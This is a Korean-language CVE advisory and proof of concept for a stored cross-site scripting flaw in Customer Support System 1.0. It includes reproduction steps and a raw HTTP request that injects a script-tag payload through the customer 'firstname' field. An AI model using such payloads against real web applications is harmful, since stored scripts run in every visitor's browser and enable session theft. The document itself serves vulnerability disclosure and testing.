Exploit for CVE-2023-49971

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-GERALDOALCANTARA-CVE-2023-49971
# CVE-2023-49971

# Customer Support System 1.0 - "firstname" 필드/매개변수의 Cross-Site Scripting (XSS) 취약점 ("customer_list" 페이지)

**설명** : Customer Support System 1.0은 저장형 XSS에 취약합니다. Customer Support System 버전 1에 XSS 취약점이 존재합니다. 악의적인 공격자는 고객 편집/생성 시 "firstname" 필드/매개변수를 통해 JavaScript 코드를 삽입할 수 있습니다. 이 코드는 "/customer_support/index.php?page=customer_list" 페이지에 방문할 때마다 실행됩니다.

**취약한 제품 버전** : Customer Support System 1.0  
**CVE 작성자** : Geraldo Alcântara  
**날짜** : 2023년 11월 28일  
**확인일** : 2023년 12월 19일  
**CVE** : CVE-2023-49971  
**테스트 환경** : Windows

### 재현 단계:

  1. 애플리케이션에 로그인합니다.
  2. 기존 고객을 편집하려면 "/customer_support/index.php?page=customer_list"로 이동하고, 새 고객을 생성하려면 "/customer_support/index.php?page=new_customer"로 이동합니다.
  3. 고객을 생성하거나 편집하면서 "firstname" 필드/매개변수에 악성 페이로드를 삽입합니다.
  4. 페이로드: 



### Resquest:

root@kitploit:~
    
    
    POST /customer_support/ajax.php?action=save_customer HTTP/1.1
    Host: 192.168.68.148
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
    Accept: */*
    Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate, br
    X-Requested-With: XMLHttpRequest
    Content-Type: multipart/form-data; boundary=---------------------------212391604122778812451614149575
    Content-Length: 1149
    Origin: http://192.168.68.148
    Connection: close
    Referer: http://192.168.68.148/customer_support/index.php?page=new_customer
    Cookie: csrftoken=1hWW6JE5vLFhJv2y8LwgL3WNPbPJ3J2WAX9F2U0Fd5H5t6DSztkJWD4nWFrbF8ko; sessionid=xrn1sshbol1vipddxsijmgkdp2q4qdgq; PHPSESSID=abige9ar0b1bi3qcf9mkv258o3
    
    -----------------------------212391604122778812451614149575
    Content-Disposition: form-data; name="id"
    
    
    -----------------------------212391604122778812451614149575
    Content-Disposition: form-data; name="firstname"
    
    teste</dt></b><script>alert(document.domain)</script>
    -----------------------------212391604122778812451614149575
    Content-Disposition: form-data; name="middlename"
    
    
    -----------------------------212391604122778812451614149575
    Content-Disposition: form-data; name="lastname"
    
    xss
    -----------------------------212391604122778812451614149575
    Content-Disposition: form-data; name="contact"
    
    210
    -----------------------------212391604122778812451614149575
    Content-Disposition: form-data; name="address"
    
    asdasd
    -----------------------------212391604122778812451614149575
    Content-Disposition: form-data; name="email"
    
    some-email@example.com
    -----------------------------212391604122778812451614149575
    Content-Disposition: form-data; name="password"
    
    xss
    -----------------------------212391604122778812451614149575
    Content-Disposition: form-data; name="cpass"
    
    xss
    -----------------------------212391604122778812451614149575--